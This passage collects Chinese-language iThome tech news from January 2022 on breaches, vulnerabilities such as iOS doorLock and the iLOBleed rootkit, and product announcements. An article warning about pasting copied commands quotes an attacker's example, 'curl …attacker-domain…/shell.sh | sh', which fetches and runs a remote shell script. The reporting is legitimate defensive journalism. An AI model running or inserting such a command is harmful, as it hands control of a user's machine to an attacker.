/></a>勒索軟體駭客Lapsus$於2022年新年期間，攻擊葡萄牙最大的媒體集團Impresa，該集團旗下的電視臺SIC、新聞週刊Expresso的網站，皆被迫離線。SIC的有線頻道仍正常播放，但網路串流直播無法運作。資安新聞網站Record Media指出，駭客除加密檔案，亦聲稱能控制該公司AWS的帳號。Impersa員工一度取回上述帳號的控制權，但駭客隨即以Expresso的名義在推特發文，表明他們仍能存取Impresa的資源。</p> <h4><strong><a href="https://www.zdnet.com/article/rhode-island-attorney-general-opening-investigation-into-transit-authority-after-data-breach/"><span style="color: rgb(0, 0, 0);">美羅德島州公共交通管理局資料外洩，當局介入調查</span></a></strong></h4> <p>美國羅德島州公共交通管理局（RIPTA）於2021年12月21日發布公告，表明該單位於8月3日至5日，有資料遭到不明人士存取，這些資料疑似是與RIPTA提供的保健計畫有關，包含了參與者的社會安全號碼、生日、地址、醫療保險號碼，以及理賠資訊等，根據美國衛生及公共服務部（HHS）的資料，約有5,015人受到影響。但美國公民自由聯盟（ACLU）羅德島州分會指出，有不少人並非RIPTA的員工，亦沒有搭乘大眾運輸工具，卻也成為本次事故的受害者，認為RIPTA對此事件的處理不透明，而向他們投訴。羅德島州總檢察長辦公室也因收到大量相關投訴，針對此事展開調查。</p> <h4><strong><a href="https://www.bleepingcomputer.com/news/security/broward-health-discloses-data-breach-affecting-13-million-people/"><span style="color: rgb(0, 0, 0);">美佛羅里達州醫療照護系統遭到網路攻擊，136萬人個資受到波及</span></a></strong></h4> <p>位於美國佛羅里達州的醫療照護系統Broward Health，最近公布了影響1,357,879人的資料外洩事件。事實上，這個醫療照護系統於2021年10月15日就曾揭露遭到攻擊的情況，但就在4天後，他們察覺又有攻擊者入侵。經委託第三方資安業者進行調查，該業者發現攻擊者存取了病人的個資和醫療記錄，攻擊者入侵的管道為第三方供應商。對此該醫療業者表示，他們將強化防護來因應。</p> <p> </p> <h3><strong>【漏洞與修補】</strong></h3> <h4><strong><a href="https://blog.assetnote.io/2021/12/26/chained-ssrf-websphere/"><span style="color: rgb(0, 0, 0);">HCL修補網站管理系統Websphere Portal的SSRF漏洞</span></a></strong></h4> <p><a href="https://www.ithome.com.tw/news/131635">在2019年從IBM買下Websphere Portal</a>，並更名為數位體驗（Digital Experience，DX）的印度IT業者HCL，在2021年12月30日發布資安通報，修補旗下DX系統的多項漏洞，其中1個攻擊者可用於發送惡意伺服器端偽造請求（SSRF）攻擊，CVSS風險層級為8.0分，影響Websphere Portal 9.0版及新版軟體的產品。DX是用於建置與管理網站的平臺，美國紐約州參議院、密西根州醫療系統MidMichigan Health、加拿大銀行都是其用戶，根據通報漏洞的資安業者Assetnote，全球網際網路上約有3千個DX系統，他們呼籲用戶要儘速修補。</p> <h4> </h4> <h3><strong>【資安防禦措施】</strong></h3> <h4><strong><a href="https://thehackernews.com/2022/01/detecting-evasive-malware-on-iot.html"><span style="color: rgb(0, 0, 0);">檢測物聯網設備攻擊有新方法！研究人員透過電磁波進行偵測</span></a></strong></h4> <p><a href="https://s4.itho.me/sites/default/files/images/hardware.jpg"><img alt="" src="https://s4.itho.me/sites/default/files/images/hardware.jpg" style="width: 300px; float: right;" /></a>物聯網（IoT）設備相當多元，許多資安業者透過防入侵偵測系統（IDS）、端點偵測與回應（EDR）、網路偵測與回應（NDR），從流量檢查是否有遭到攻擊的跡象，但最近有了新的突破。電腦科學暨隨機系統研究所（IRISA）在2021年12月舉行的年度電腦安全應用會議（ACSAC）上，揭露他們藉由偵測物聯網裝置的電磁波，來確認是否遭到惡意軟體入侵的跡象。研究人員指出，這種透過硬體下手的做法，使得惡意軟體的規避手段無法發揮作用，且IT人員無須修改物聯網設備的情況下就能達到保護的效果，他們製作的檢測框架，還能識別不同類型的惡意軟體，如勒索軟體、殭屍網路病毒、RootKit等。</p> <h4><strong><a href="https://www.cna.com.tw/news/ait/202201030309.aspx"><span style="color: rgb(0, 0, 0);">深化臺印資安技術交流與研究，國網中心與印度堪坡理工學院簽屬合作備忘錄</span></a></strong></h4> <p>在12月3日，科技部駐印科技組表示，科技部轄下國家實驗研究院國家高速網路與計算中心與印度堪坡理工學院（IIT Kanpur）簽署合作備忘錄，將針對資安技術與研究，建立進一步的交流與合作，目前已有初步規畫，主要聚焦惡意程式行為分析及雲端資安攻防等議題，雙方將建立資安威脅模型，並配合OT安全與Cyber-Physical Systems（CPS）的需求，建立跨國資安研究平臺，主要提供雲端虛擬化的架構，讓雙方建置場域環境及資安應用情境。</p> <p> </p> <p>【近期資安日報】</p> <p><a href="https://www.ithome.com.tw/news/148681">2022年1月3日，Log4Shell漏洞被用於攻擊學術機構，網路叫車系統Uber郵件系統可被冒名寄詐騙郵件</a></p> <p><a href="https://www.ithome.com.tw/news/148656">2021年12月30日，加密貨幣交易所因Log4Shell漏洞成勒索軟體受害者、T-Mobile用戶遭到SIM卡挾持攻擊</a></p> <p><a href="https://www.ithome.com.tw/news/148630">2021年12月29日，密碼管理系統LastPass驚傳遭到帳號填充攻擊，音訊設備大廠、美國物流業者雲端配置不當</a></p> <p><a href="https://www.ithome.com.tw/news/148622">2021年12月28日，資安成國際半導體展要角，勒索軟體eCh0raix於聖誕節前夕攻擊威聯通NAS</a></p> <p><a href="https://www.ithome.com.tw/news/148597">2021年12月27日，IT業者公布Log4Shell漏洞影響情形，疑似由Babuk修改而成的勒索軟體Rook已有受害者</a></p> <p><a href="https://www.ithome.com.tw/news/148576">2021年12月24日，Apache網頁伺服器驚傳重大漏洞，以解僱為由的網釣攻擊散布惡意軟體Dridex</a></p> <p><a href="https://www.ithome.com.tw/news/148544">2021年12月23日，阿里巴巴Log4Shell漏洞未先通報中國政府遭到制裁，微軟Teams應用程式漏洞恐被用於詐騙</a></p> <p><a href="https://www.ithome.com.tw/news/148522">2021年12月22日，Log4Shell隱含SBOM－軟體元件列管問題，暗網市集恐成攻擊者購買入侵帳密來源</a></p> <p><a href="https://www.ithome.com.tw/news/148484">2021年12月21日，比利時國防部遭Log4Shell漏洞攻擊，駭客以輝瑞藥廠的名義進行網路釣魚</a></p> <p><a href="https://www.ithome.com.tw/news/148463">2021年12月20日，Log4Shell出現新的阻斷服務漏洞、勒索軟體Conti鎖定VMware vCenter發動攻擊</a></p> <p><a href="https://www.ithome.com.tw/news/148426">2021年12月17日，Log4Shell出現大量攻擊、間諜軟體攻擊全球工控系統</a></p> </div></div></div>
2022/1/4 14:32作者周峻佑https://www.ithome.com.tw/news/148704
Netgear數位相框Meural現可播放NFT畫作
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>各種形式的非同質化代幣（Non-Fungible Token，NFT）不斷出現，並以各種方式進入人們的生活，網路裝置開發廠商Netgear，也開始在其產品整合NFT。Netgear用來顯示數位圖片的數位相框<a href="https://www.netgear.com/home/digital-art-canvas/canvasii/">Meural</a>，現在也支援NFT，使得用戶的NFT藝術作品也能在Meural上播放。</p> <p>Meural原本為能夠顯示各種照片的數位相框，而從一月開始，Netgear宣布在Meural上整合MetaMask加密貨幣錢包，這樣的合作關係，使得用戶可以將NFT上傳到Meural上儲存並播放。</p> <p>NFT是一種在區塊鏈數位帳本上的資料單位，每個單位都可以代表一種獨特的數位資料，NFT可以是畫作、聲音、遊戲和各種創意作品，檔案本身可以無限複製，但是代表該檔案的代幣在區塊鏈被追蹤時，能為買家提供所有權證明，是驗證數位所有權的新憑證。</p> <p>Meural並非一定要使用NFT內容，用戶可以在Meural上顯示來自手機的圖像，並且也能透過訂閱服務，播放線上博物館中的藝術和攝影媒體，或是使用專用應用程式和MicroSD卡，將圖片分享到Meural上。</p> </div></div></div>
2022/1/4 16:58作者李建興https://www.ithome.com.tw/news/148707
AT&T、Verizon同意推遲開通C頻段5G服務2周
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.reuters.com/business/aerospace-defense/talks-continue-near-deadline-over-us-5g-aviation-safety-dispute-2022-01-03/" target="_blank">路透社報導</a>，美國兩大電信龍頭周一（1/3）同意推遲開通C頻段（C-Band）5G服務2個星期，使爭議獲得暫時解決。</p> <p><a href="https://www.reuters.com/business/media-telecom/att-verizon-ceos-reject-us-request-5g-deployment-delay-2022-01-02/" target="_blank">AT&T CEO John Stankey 與Verizon CEO Hans Vestberg上周日以聯名公開信</a>拒絕美國運輸部長Pete Buttigieg及聯邦航空總署（FAA）Steve Dickson延後開通C頻段頻譜5G服務的要求，不過周一兩家電信業者暫時做出讓步，同意將開通時間推遲到1月19日。</p> <p>路透社報導，兩大電信業者在遭到白宮、航空公司及航空產業聯盟的壓力下，同意延後開通C頻段5G服務。在這兩周內，美國主管機關、航空公司及電信業者將會商，以找出將干擾問題降到最低的方法。</p> <p>使用3.7GHz C頻段的5G服務在美國電信業及航空業引發爭議。包括空中巴士、波音、FedEx等航空業者等反對派認為，3.7GHz的無線電訊號會干擾飛機電達高度計，特別是在接近地面時，這將影響飛安，並造成航班延遲、繞道或取消。AT&T及Verizon於11月提出的作法是，延後開通C頻段的5G服務到2022年1月5日，並將美國46座機場其他重要地點附近的基地臺功率降低6個月。</p> <p>AT&T及Verizon為主的支持陣營認為，他們提出的排除區(exclusion zones)作法在法國運行順暢，沒有道理無法在美國實行。</p> <p>但是航空界並不買帳，持續阻撓C頻段5G服務的部署。<a href="https://www.ithome.com.tw/news/148546" target="_blank">上周空中巴士及波音執行長要求</a>美國政府推遲部署5G網路服務的時程。而在兩大電信業拒絕延後隔天，<a href="https://www.fiercewireless.com/wireless/airlines-file-emergency-petition-stop-5g-c-band-deployment-near-airports" target="_blank">航空業協會</a>1月1日指控聯邦通訊委員會（FAA）無理拒絕航空業提出的干擾研究資料，要求FAA阻止箭在弦上的5G服務。</p> </div></div></div>
2022/1/4 17:17作者林妍溱https://www.ithome.com.tw/news/148708
iOS出現DoS漏洞doorLock可導致裝置死機或無限重開機
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://trevorspiniolas.com/doorlock/doorlock.html" target="_blank">研究人員發現</a>iOS存在阻斷服務（denial of service, DoS）漏洞，能導致iPhone死機、本機資料無法存取等嚴重問題，但蘋果拖了將近半年還沒修補。</p> <p>這項未命名的漏洞出在iOS、iPadOS上的HomeKit框架，iOS裝置利用後者設定、控制及聯繫支援的智慧家庭連網裝置。安全研究人員Trevor Spiniolas去年年中發現，並於8月10日通報蘋果。蘋果承諾將在去年年底前修補，不過直到最新的iOS 15.2這漏洞仍然存在。去年12月9日蘋果改口要延到2022年初，研究人員不滿漏洞風險重大但蘋果卻拖延數月修補未果，於新年度的1月1日揭露。</p> <p>Spiniolas 解釋，當連接的HomeKit裝置名稱變更成極大字串（例如50萬字元）時，就會引發載入該字串的iOS裝置當掉，重開機也會再當。這問題會因iCloud在iOS裝置之間同步作業而無法解決。原因在於變更後的HomeKit裝置名稱會儲存在iCloud中，這時若裝置上啟動Home data設定的話，就會同步到所有同一帳號下的其他iOS裝置。</p> <p>研究人員進一步以2種情境，分別是未連接及連接家庭連網裝置說明不同結果。若iOS裝置（iPhone或iPad）的Control Center下沒有連網裝置時，則Home App會當掉，重開機或更新iOS都沒有用。若使用者重置iOS裝置後，又再登入連結HomeKit裝置的iCloud，則又會再度觸發這漏洞。</p> <p>若用戶iPhone/iPad Control Center下有家庭連網裝置（此為連結裝置時的預設行為），則iOS會沒有反應，所有輸入不是沒反應就是反應延遲，而且幾乎無法以USB傳輸埠通訊。大約一分鐘後，iOS中的backbardd控制程式會被watchdog程式終止又重覆載入，並落入無限循環（偶爾會重開機），這段時間iOS裝置不僅沒有回應，重開機或升級iOS也都無法解決。此時由於USB只能在DFU及Recovery模式運作，因此iPhone/iPad將因無法備份而損失所有本機上的資料。</p> <p>若用戶有辧法重置裝置，一旦之後又再登入iCloud惡夢又會重演。</p> <p>研究人員測試發現iOS 14.7到iOS 15.2都受影響，以產品來看，受影響裝置包括iPhone 7 (iOS 15.2-14.7)、iPad 6 (iOS 15.0 beta和iOS 14.7)、iPhone XS (iOS 14.7.1 & 14.7)。研究人員推測所有跑iOS 14版本的裝置都無法倖免。</p> <p>研究人員相信這漏洞給了勒索軟體下手的機會，所有以App控制HomeKit裝置的用戶都無法存取本機資料，也無法再以iOS裝置登入iCloud。攻擊者也可以傳送包含惡意資料的邀請給任何其他iOS用戶，後者就算沒有HomeKit裝置也會遭殃，造成資料遺失及手機無法使用。這時勒索軟體歹徒即可勒索用戶付費以回復iOS裝置運作。</p> <p>研究人員也提供了解決之道。在DFU及Recovery模式下重置裝置，不要以裝置登入iCloud帳號，而是從「設定」處登入iCloud，並立刻關閉Home，使iOS裝置和iCloud不再存取Home資料。</p> </div></div></div>
2022/1/4 15:52作者林妍溱https://www.ithome.com.tw/news/148706
ThirdEye推出僅有85公克的輕量級MR眼鏡
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>增強實境與混合實境軟體開發廠商ThirdEye，推出了首款消費級混合實境眼鏡<a href="https://blog.thirdeyegen.com/thirdeye-announces-razor-mr-glasses-and-expands-into-consumer-metaverse">Razor MR Glasses</a>，該裝置設計輕巧，目標是要讓用戶穿戴一整天，以體驗沈浸式元宇宙。目前ThirdEye已經開始接受Razor MR Glasses的預購訂單。</p> <p>Razor MR Glasses重量輕巧只有85公克，使用戶能夠舒服配戴之外，平時可以摺疊收納方便攜帶，還特別針對近視的用戶，提供簡單調整度數的功能。不少混合實境頭戴裝置，都需要用戶透過疊加多個鏡片來調整度數，而在Razor MR Glasses上，用戶只需要轉動眼鏡側面的旋鈕，就可以改變度數，官方提到，這些設計都是要滿足虛擬實境解決方案需求，供用戶在日常使用。</p> <p>Razor MR Glasses能夠被應用在各種領域中，從遊戲娛樂到遠端醫療等，用戶可以從ThirdEye應用程式商店，取用各種混合實境應用程式，包括可用於遠端協助的RemoteEye，以及經HIPAA認證的遠端醫療應用RespondEye。</p> <p>RemoteEye供Razor MR Glasses用戶，獲得遠端維修人員的協助，或是保險用途的清點家中資產，RespondEye則可供醫療人員進行遠端醫療，並且在查看病患時獲得即時增強實境註釋。目前已經有遊戲開發商，在Razor MR Glasses上建構多人元宇宙應用，讓用戶能夠查看城市景觀的數位資訊，並且能夠在空間中觀看電影以及電視節目。</p> <p>Razor MR Glasses的螢幕具有70 Hz更新頻率和兩個降噪麥克風，能夠提供低延遲顯示，以及清晰的通訊品質。該眼鏡能夠連接大部分的Android和iOS裝置，支援包括所有顯示連接埠（DP）輸出，以及具有USB-C連接埠的筆電和平板電腦，也能夠透過HDMI接頭連接遊戲機。Razor MR Glasses執行Android 9.0作業系統，具有43度視野，相當於120吋的螢幕，電池續航力為8小時，具有語音控制和兩個高解析度指向型音響。</p> </div></div></div>
2022/1/4 15:56作者李建興https://www.ithome.com.tw/news/148705
Avalanche發布可加速AI模型訓練的低程式碼工具hAIsten AI
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>深度學習技術與運算公司Avalanche在CES 2022上，展示其最新的低程式碼人工智慧工具<a href="https://www.prnewswire.com/news-releases/avalanche-computing-launches-revolutionary-low-code-ai-tool-at-ces-2022-301452169.html">hAIsten AI</a>，hAIsten AI是一個SaaS解決方案，用戶僅需要點擊滑鼠，就能完成人工智慧應用開發中許多繁瑣的工作。</p> <p>人工智慧應用的開發，通常是一個耗時的過程，花費以年為單位的開發時間，過程也需要資料科學家、工程師和領域專家等人才參與。Avalanche提到，僅就模型推理過程，就可能需要12到24個月的開發時間，而且人工智慧模型完成之後，開發人員還要花時間來部署模型，而這些過程，等待時間就占了高達80％的時間，大幅提高了人工智慧技術的研發成本與進入障礙。</p> <p>而hAIsten AI是一個低程式碼人工智慧軟體，能夠利用多GPU來加速開發，將人工智慧開發周期，從數年縮短至數個月。該軟體以多GPU來加速模型訓練，在短時間就能測試多個演算法，在完成模型開發後，用戶還能一鍵部署模型。</p> <p>同時，用戶也能夠從即時儀表板，監控模型訓練狀態，並管理所有模型，只需要滑鼠點擊幾下介面，就能夠從hAIsten AI創建人工智慧應用程式。hAIsten AI能在雲端和邊緣裝置上進行人工智慧模型訓練和部署，支援Nvidia、Qualcomm和OpenVino硬體，用戶能夠將其與AWS、Google雲端、Azure雲端解決方案結合使用。</p> </div></div></div>
2022/1/4 14:30作者李建興https://www.ithome.com.tw/news/148703
惡意軟體鎖定iLO韌體以刪除HPE伺服器資料，升級韌體也無法防堵
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/" target="_blank">研究人員發現</a>一隻惡意程式專門鎖定HPE iLO軟體及裝置，旨在刪除HPE伺服器上的資料，即使升級iLO韌體也難以防堵。</p> <p>伊朗安全廠商Amnpardaz揭露其在HPE iLO韌體內，發現一隻名為iLOBleed的rootkit，無法經由韌體更新移除，可用於長期潛伏攻擊，研判它已經被駭客組織用來攻擊用戶一段時日。安全廠商相信這是第一隻攻擊iLO韌體的惡意程式。</p> <p>iLOBleed 的命名，是來自於專門鎖定HPE的<a href="https://www.hpe.com/tw/zh/servers/integrated-lights-out-ilo.html" target="_blank">iLO（INTEGRATED LIGHTS-OUT）軟體</a>。</p> <p>HPE伺服器通常搭配一款iLO管理模組。iLO管理模組可以嵌入伺服器或工作站運作，可協助管理伺服器軟硬體、安裝安全更新，遠端存取系統控制台、安裝CD/DVD映像檔等，即使伺服器硬體在關機狀態下也能執行。研究人員指出，iLO的幾項特點，包括具備高度權限，可在任何OS層執行、也能存取硬體底層、管理員及安全工具看不到、市面上很少能監控和防護iLO的方案，懂的人也不多，使其成為惡意程式及APT組織的理想犯罪工具。</p> <p>攻擊者可能經由舊版iLO韌體漏洞，或是從連接的伺服主機植入iLOBleed。研究人員發現它主要行為是一隻wiper程式，可刪除嵌入iLO裝置的伺服器硬碟資料，但它的行為不只如此。</p> <p>研究人員發現iLOBleed還能控制iLO韌體更新，即使管理員升級韌體以修補漏洞，也會被它降成舊版軟體，而為了掩飾這點，它還會偽造訊息及日誌記錄，假裝更新已經成功。所有沒有防止竄改韌體的安全開機（Secure-Boot）機制的產品，包括跑iLO4及更早之前版本韌體的HP ProLiant Server G9以前產品，都可能遭iLOBleed變更削弱安全性。</p> <p>唯一能倖免於外的是2021年12月推出、使用iLO5韌體的G10系列，但用戶必須主動啟動Secure-Boot機制。</p> <p>根據這樁攻擊的手法高明程度，研究人員推測是由國家支持的進階滲透攻擊（advanced persistent threat, APT）駭客組織所為</p> <p>安全公司表示近期內將釋出檢測iLO韌體及感染的工具。</p> </div></div></div>
2022/1/4 14:08作者林妍溱https://www.ithome.com.tw/news/148702
從網路上複製/貼上命令列要小心遭駭
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.wizer-training.com/blog/copy-paste" target="_blank">一名安全研究人員Gabriel Friedlander近日警告</a>，隨手從網路上複製與貼上（Copy/Paste）命令列時要特別小心，因為駭客可能趁此駭進開發者的系統或應用程式。</p> <p>Friedlander打造了一個概念性驗證攻擊手法，他設計一個假裝可用來更新Ubuntu作業系統的命令列，該命令列顯示的文字很簡單，為「sudo apt update」，但當開發者複製它，並將它貼上記事本或終端時，它出現的卻是「curl http[:]//attacker-domain:8000/shell.sh | sh 」，若是直接貼入終端，它將立即執行。</p> <p>這是因為Friedlander在此一HTML頁面上藏匿了JavaScript程式碼，而讓開發者眼見的文字與貼上之後所呈現的內容完全不同。</p> <p>Friedlander說，不管是新手或是熟練的開發者，都可能會從網路上複製命令列或部份程式碼，但這是非常危險的行為，也許會讓駭客直接於程式中植入後門，相關的攻擊非常地簡單，卻可能帶來極大的傷害，建議開發者應永遠避免於終端貼上直接自網路上複製的命令列。</p> </div></div></div>
2022/1/4 13:17作者陳曉莉https://www.ithome.com.tw/news/148701
美國公衛系統Broward Health外洩近136萬名用戶資料
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>美國十大公共衛生系統之一、位於佛羅里達州的Broward Health，<a href="https://apps.web.maine.gov/online/aeviewer/ME/40/88826ba0-148a-468d-9a86-5528850896fa.shtml" target="_blank">在本周揭露了發生於去年10月的資料外洩事件</a>，指出其網路遭到未經授權的駭客入侵，有1,357,879名用戶的個資外洩。</p> <p>Broward Health為一所非營利的醫院，目前經營逾30家醫療機構，擁有超過7,500名員工。</p> <p><a href="https://s4.itho.me/sites/default/files/files/Maine%20Sample%20Notification%20Letter%20(Jan_%201%2C%202022).pdf" target="_blank">根據Broward Health寄給用戶的通知</a>，一名駭客在去年的10月15日擅自進入Broward Health網路，該院於10月19日發現時，旋即通知美國聯邦調查局（FBI）及美國司法部（DoJ），同時要求所有的員工更新密碼，亦與外部資安業者合作展開調查。</p> <p>調查顯示，遭到入侵的管道是第三方的醫療服務供應商，駭客所存取的用戶資訊包括姓名、生日、地址、電話號碼、銀行帳戶資訊、社會安全碼、保險資訊、醫療診斷資訊及歷史紀錄、病歷號碼、駕照號碼，以及電子郵件帳號等。</p> <p>此外，駭客不僅汲取了個資，也於Broward Health系統上刪除了部分個資，但目前尚未收到這些用戶資訊遭到濫用的報告。</p> <p>在意外發生之後，Broward Health不僅要求所有的員工變更密碼，也全面啟用多因素身分認證，並自今年1月起要求所有欲存取該系統的第三方裝置，必須符合基本安全規範。</p> </div></div></div>
2022/1/4 11:42作者陳曉莉https://www.ithome.com.tw/news/148700
三星電視遙控器能蒐集無線電波來充電
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>本周四開展的消費電子大展（consumer electronic show, CES）2022展會上，堅持未退出實體展覽的<a href="https://news.samsung.com/global/samsung-electronics-unveils-its-2022-micro-led-neo-qled-and-lifestyle-tvs-with-next-generation-picture-quality-and-range-of-cutting-edge-personalization-options" target="_blank">三星電子昨（3）日預告了即將展出的產品</a>，包括超高畫質電視、多媒體娛樂控制器Smart Hub及一款新增以無線電波充電的電視遙控器Eco Remote。</p> <p>今年的Eco Remote遙控器是繼去年CES以來最新的環保創新。Eco Remote外殼以回收塑膠製成，<a href="https://www.cnet.com/tech/home-entertainment/samsung-tv-remotes-are-solar-powered-for-2021-neo-qled-models/" target="_blank">去年的設計</a>是在遙控器背部加入太陽能電池，以便能吸收室內、外陽光並轉換成電能。今年，三星再為Eco Remote加入無線電波蒐集（radio frequency harvesting）元件，強調除了使用太陽能外，還可蒐集週遭裝置，例如W-Fi路由器散發的無線電波，並將之轉成充電用的儲能。此外，它也支援最簡單直接的USB-C傳輸線充電方式。</p> <p>Eco Remote上具備麥克風可供聲控，以及支援Netflix、Disney Plus、Amazon Prime Video與三星自有TV Plus服務的實體按鈕。今年在原有的黑色外，也推出白色的Eco Remote。<a href="https://www.cnet.com/tech/home-entertainment/samsungs-new-eco-remotes-draw-power-from-radio-waves/" target="_blank">三星對媒體表示</a>2022年的新電視都會包含Eco Remote，包括4K及8K畫質的Neo QLED TV、MICRO LED HDR電視系列、設計生活系列的美學電視（<a href="https://www.samsung.com/tw/lifestyle-tvs/" target="_blank">The Frame</a>）、風格電視（The Serif）及翻轉電視（The Sero）等。</p> </div></div></div>
2022/1/4 10:37作者林妍溱https://www.ithome.com.tw/news/148698
蘋果市值一度突破3兆美元
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>蘋果本周一（1/3）股價一度上漲到182.86美元，使其市值突破3兆美元，成為美國首家市值超過3兆的企業，不過，當天蘋果股價以182.01美元作收，漲幅為2.5%，市值為2.98兆美元。</p> <p>身為美國最大的科技公司，<a href="https://www.ithome.com.tw/news/124963" target="_blank">蘋果甫於2018年8月超越1兆美元市值的關卡</a>，並在兩年後的<a href="https://www.ithome.com.tw/news/139508" target="_blank">2020年8月突破2兆美元</a>，2022年的1月即攀上3兆美元。</p> <p>目前iPhone仍是蘋果最大的營收來源，在截至去年9月25日的季報中，iPhone以388.7億美元的營收占了蘋果總營收的46.6%，居次的服務營收則占了22%。</p> <p>不過，美國其它科技業者的表現也不容小覷，微軟同一天的市值為2.5兆美元，Alphabet為1.93兆美元，Amazon為1.73兆美元。</p> </div></div></div>
2022/1/4 10:52作者陳曉莉https://www.ithome.com.tw/news/148699
低軌衛星廠商OneWeb加快衛星網路服務建置腳步，經半年又射36顆衛星
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>低軌衛星（LEO）廠商OneWeb在2021年12月27日，由Arianespace於哈薩克拜科努爾太空發射場，以俄羅斯所研發的聯盟號第三代載人飛船，成功再發射36顆衛星，並且已經全數上線，衛星總數達394顆，完成OneWeb低軌衛星群60％，可望在今年底前，向全球提供衛星網路服務。</p> <p>這次發射衛星，是OneWeb所計畫的19次衛星發射任務的第12次，該公司要在19次發射任務中，總共部署650顆衛星，來建立其第一代衛星網路。這次所發射的36顆衛星，安裝在聯盟號宇宙飛船頂部，在日落後從哈薩克升空。</p> <p>在聯盟號進入太空軌道後，36顆衛星花了3小時45分，分9批依次發射，這些衛星在與聯盟號分離之後，展開太陽能板，並且使用離子推進器，移動到距離地球1,200公里的運行軌道。OneWeb所發射的衛星為小型低軌衛星，這類屬於質量和尺寸都較小的衛星，每顆衛星質量不到150公斤，目標是要分布在地球上空，向全球每個角落提供網路服務。</p> <p>OneWeb在2020年3月時聲請破產，但是在該年7月，就被英國政府和印度跨國集團Bharti以超過10億美元買下，當時OneWeb已經發射了74顆衛星，英國政府和Bharti各出5億美元，分別買下OneWeb的45％股份，剩下的10％股份則由OneWeb債權人包括軟銀持有，OneWeb在同年11月融資27億美元。</p> <p>而2021年底的發射任務，則是英國政府和Bharti接手以來，OneWeb第9次發射衛星，目前已經完成該公司低軌衛星群計畫的60％，達到394顆衛星。OneWeb的衛星網路尚未建立完成，但是已經有許多公司與其合作，包括與空中巴士成為合作夥伴，由空中巴士在歐洲對軍事和政府用途提供OneWeb網路服務，同時也在OneWeb加拿大和澳洲，積極擴展市場版圖。</p> </div></div></div>
2022/1/4 09:37作者李建興https://www.ithome.com.tw/news/148684
WFH打破企業網路邊界，Cloudflare認為WAN已死、零信任安全模型興起
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Cloudflare現場技術長（Field CTO）John Engates，在跨年前夕，發表了對<a href="https://blog.cloudflare.com/predictions-for-2022/">2022年網路產業的看法</a>，他認為，在2022年，企業將開始大舉投資5G，而高成本且缺乏靈活性的WAN，在員工在家工作成為常態的後疫情時代已經不再適用，基於網際網路的企業網路才會續存。</p> <p>John Engates針對6項網路趨勢發表自己的看法，第一是當前不斷被廣告吹捧的5G網路，他提醒，雖然5G被大肆炒作，但是5G技術真實存在，確實可以提供更大的無線頻寬和更低的網路延遲，使AR/VR、影音串流和網路遊戲等網路應用效能更好。</p> <p>2022年企業將會大力投資5G，向用戶和員工提供好的網路品質，John Engates表示，開發人員要為5G網路重構應用程式，使其得以從更佳的頻寬和延遲中獲益，而網路架構師也會需要根據5G，來調整網路架構，並且提高網路端到端效能，在2022年，網路營運商和雲端服務供應商間的投資和競爭，將會圍繞在5G上。</p> <p>而這兩年因為疫情關係，人們工作方式與2020年前已大不相同，John 